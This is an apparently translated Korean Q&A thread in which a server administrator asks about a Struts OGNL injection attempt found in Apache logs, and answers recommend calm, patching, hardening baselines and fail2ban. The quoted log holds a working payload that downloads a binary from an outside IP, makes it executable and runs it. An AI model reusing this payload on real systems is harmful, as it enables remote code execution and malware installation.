시도 된 공격을 발견했습니다. 어떻게해야합니까? [닫은]


0

일부 Apache 로그를보고 공격으로 보이는 것을 발견했습니다.

core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')

실행 라인은 다음과 같습니다.

exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')

wget -O .loop http://111.90.158.225/d/ft64샌드 박스에 파일 을 다운로드했으며 컴파일 된 / 이진 파일로 표시되므로 파일을 실행할 때 수행하는 작업이 확실하지 않습니다.

  1. 이 오류로부터 누구나 취약점이 있는지, 아니면 더 나은 방법으로 취약점을 조사하고 /이 공격에 대한 보안을 향상시키는 방법을 알 수 있습니까?

    • Apache 2.4에서 Symfony 4 API를 실행하고 있습니다.
    • 공격 시도 방법 및 .exec명령 실행 방법을 잘 모르겠습니다.
  2. 이를 신고 할 적절한 장소가 있습니까?


2
이 질문은 serverfault.com에 더 적합 할 수 있습니다 . 마이그레이션 플래그를 지정합니다.
Christopher Hostage

내 경험에 따르면, 컴퓨터가 손상되었다는 증거가 표시되면 더 이상 신뢰할 수 없으며 재 구축해야합니다. 침입자는 사용자가 눈치 채지 못한 다른 작업을 수행했거나 일부 추적을 성공적으로 수행했을 수 있습니다. 또한 공격자가 다른 시스템에 침입 할 수 있도록 데이터 센터 / 비즈니스에서 중요한 역할을 할 수 있으므로 다른 시스템을 검토하는 것이 좋습니다.
Christopher Hostage

: 나는 로그 누군가가 URL에 갔다 보여주는 믿습니다 ... 난 어떤 웹 서버로 이동하여 URL을 공격을 시도 할 수 있습니다 ...이 실제로 기계의 증거가 손상 보여줍니다 있는지 확실하지 않습니다 http://example.com/${(#dm=@ognl.OgnlContext@....exec(...)/하지만 만약 불확실입니다 나는 그 가정에 맞습니다. 이 로그에는의 com.opensymphony.xwork2.ActionContext.container일부인 것으로 언급 된 내용도 표시됩니다 Apache Struts. 저는 사용하지 않습니다Apache Struts
Shawn Northrop

@ChristopherHostage 당신은 단순히 여기에서 주제를 벗어난 것으로 여기고 Server Fault 에서 주제가되는 것으로 투표 할 수 있습니다 . 다른 4 명이 동의하면 마이그레이션됩니다.
Mokubai

1
@ChristopherHostage“제 경험상 머신이 손상되었다는 증거가 표시되면…”이 경우에 잘못되었습니다. 모든 아파치 로그는 서버에서 무언가를 시도한 것이지, 아무것도 한 것이 없다는 증거는 아닙니다. 그리고 내 대답에 반영 된 것처럼 , 이것은 인터넷에서 웹 서버를 공격하려는 시도 일뿐입니다.이 서버는 매우 일반적이며 실제로 걱정할 것은 없습니다.
JakeGould

답변:


1

질문 내용 :

시도 된 공격을 발견했습니다. 어떻게해야합니까?

그리고 나서 숨을 쉬지 말고 다음과 같이 말하십시오.

나는 일부 아파치 로그를보고 있었고 공격으로 보이는 것을 발견했다…

너 뭐하니? 간단한 답변 :

당황하지 마십시오!

당황하고 너무 많은 일을 너무 빨리, 너무 빨리 수행하면 인식 된 위협을 완화하려고 시도 할 수 있으며 실제 공격으로 발생할 수있는 피해보다 서버에 더 많은 피해를 줄 수 있습니다.

그러나보다 자세하게, 세계의 모든 웹 서버는 지속적으로 조사되고 있으며 때로는 때때로 공격을 받고 있습니다. 이것이 인터넷의 본질입니다. Apache 로그는 단순히 서버에 요청을 기록하는 것입니다. 아파치 버전과 기본 OS (리눅스를 가정)가 완전히 패치되고 최신 상태라면 견고해야합니다. 서버에서 PHP 스크립트와 같이 웹을 사용하는 스크립트를 실행하는 경우 PHP 코드의 강도에 따라 취약점 이 있을 수 있습니다.

즉, 나는 아직도 너무 걱정하지 않을 것입니다. PHP 코드가 WordPress 또는 Drupal과 같은 사전 패키지 시스템으로 구성된 경우 CMS가 패치되고 최신 상태인지 확인하십시오. 이 PHP 코드가 사용자 정의 코드 인 경우 해당 사용자 정의 코드는 코드를 작성한 사람의 코딩 역량만큼 취약합니다.

그러나 여전히 내 첫 메시지로 요약됩니다.

당황하지 마십시오!

이 하나의 스크립트로 타협 할 가능성은 거의 없습니다. 공격 하려는 시도 만큼 "공격"이 아닙니다 .

이 요약 이후의 것은 실제로 간단한 질문의 범위를 벗어납니다.

즉, 가장 취약한 웹 사이트는 사이트 소유자가 패치하지 않은 WordPress 및 Drupal과 같은 사전 패키지 시스템 인 것처럼 사용자 지정 코딩 된 웹 사이트가 없습니다. 왜 그 사이트들이 패치되지 않습니까? 나열해야 할 이유가 너무 많습니다. 그러나 대부분의 웹 기반 공격은 오래되고 WordPress 및 Drupal과 같은 패치되지 않은 사전 패키지 시스템을 대상으로합니다.

또한 다음과 같은 질문을합니다.

이를 신고 할 적절한 장소가 있습니까?

누구에게보고? 당신은 기본적으로 어딘가에 임의의 스크립트에 의해 공격을 시도하고 있습니다. IP 주소를 알고 있다면 해당 IP 주소의 소유자에게 연락하여 무언가를 할 수 있는지 확인할 수 있습니다. 그러나 2018 년에는 그 결과가 최선의 노력입니다.

왜? 쉬움 : 오늘날 해커는 종종 공격 서버의 더러운 작업을 수행하는 일회용 클라우드 서버 클러스터 또는 감염된 시스템 인 봇넷을 사용합니다. 특정 IP 주소의 공격을 받았다고해서 해당 IP 주소의 시스템 소유자가 공격 자라는 의미는 아닙니다. 감염된 시스템 일 수 있습니다. 이 일회용 클라우드 서버가 있다면, 당신은 클라우드 서버를 관리하고 ISP에 연락 할 수 있습니다 어쩌면 그들은 경고 할 수 있습니다. 그러나 봇넷의 소유자가 이러한 공격 서버를 다른 ISP로 옮길 것입니다.

코드와 서버가 견고하고“보고”에 대해 걱정하지 않는 것이 좋습니다. 이 공격은 고유하지 않으며보고하면 원하는 결과를 얻을 수 없습니다.


-1

아파치 로그를 자세히 보면 서버에 대해 알려진 여러 가지 취약점을 시도하는 연결 시도의 많은 예가 표시 될 수 있습니다.

보안 수정 프로그램으로 서버에서 실행되는 아파치 및 모든 앱을 최신 상태로 유지하는 것이 중요합니다. 또한 설치를 강화하는 데 도움이되는 CIS의 아파치 보안 기준 문서를 살펴보십시오.
마지막으로 fail2ban 및 아파치 감옥 및 필터 (apache-noscript, apache-overflow 등)와 같은 도구를 살펴보십시오.

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.